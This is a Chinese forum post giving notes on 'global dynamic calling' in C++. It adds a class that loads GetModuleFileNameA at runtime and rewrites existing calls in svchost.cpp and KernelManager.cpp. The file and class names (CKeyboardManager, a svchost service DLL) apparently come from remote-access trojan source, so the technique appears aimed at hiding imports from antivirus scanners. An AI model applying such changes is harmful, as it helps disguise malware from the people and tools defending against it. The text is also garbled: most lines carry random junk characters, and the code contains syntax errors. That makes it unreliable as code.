[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记- e& y; T& w) K; k; ?1 O
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h# n7 @. f. Q6 d; z3 \6 T% e
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DTDY.h：
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#if _MSC_VER>10007 d6 e9 m, t! |" K
#pragma once3 z. O% t7 U5 B9 l
#endif //_MSC_VER>1000
; D. N" q! ?& B/ W  j" }9 I#include<windows.h>$ w% i7 i  M' t2 L: [
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
/ w* C! Z0 i4 b1 R- eclass DTDY- \, ], s& W7 Q9 F3 ?
{
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DTDY();2 e" ]. I/ c% o9 w
virtual ~DTDY();  G; _; [, R1 `1 a& p% R
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static pGetModuleFileNameA MyGetModuleFileName;- F* E- E- T8 s" E
static BOOL FunInitiallization();+ u' X2 }$ u0 `/ g1 B( v2 f
};
8 M, ^% f& T# g- E" h#endif2 B3 B7 k$ d  }+ u0 K, k8 N
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DTDY.cpp:: b/ r! {: a% n' S# t& G
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#include "DTDY.h") j6 t/ d" Y$ o" o' E( F
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
: h. d$ O" h2 h5 RDTDY:TDY()' `+ ?; }  N! s! o/ E6 N
{
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+ y/ s* ^9 Q7 I% aDTDY::~DTDY()
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}
% R9 R3 D% ]4 m( dBOOL DTDY::FunInitiallization()
$ y# |3 w. d) i{
  M" f# X6 ^1 f! T6 s, `, fHMODULE hModule=LoadLibrary("kernel32.dll");" r& @1 J8 q- c5 I; M
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");. m; U+ D5 _- Z
if(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:2 a! F- a* m) ?; _# G: D

0 J4 j& q  M4 Q#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)0 I/ E. b+ ]% {/ w! T
{
- U" V6 b8 Y, H: a) _- _" Cswitch(ul_reason_for_call)
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9 ]: d2 S. G4 Q: rcase DLL_PROCESS_ATTACH:2 \$ b. a" `# S, G0 V
if(!DTDY::FunInitiallization()) return FALSE;
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break;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def* k" j# B5 q( x3 G$ R, I+ n
改写为8 K$ H$ K& b, O; Q
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));/ B' N( \. E+ k# h; N1 b
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9 N6 _) h, u6 F5 _8 W) b) ?KernelManager.cpp:4 E( b' g: n; s, F, \

& y" K9 n  Z- V$ y#include "../DTDY.h"+ _! G9 b" r. m0 P& A' `
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));/ P4 I7 s; @  \1 ]
改写为* I" K! d; e8 z' {* a4 `2 C
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));9 i, _) ]; J, n& I$ j# |: t
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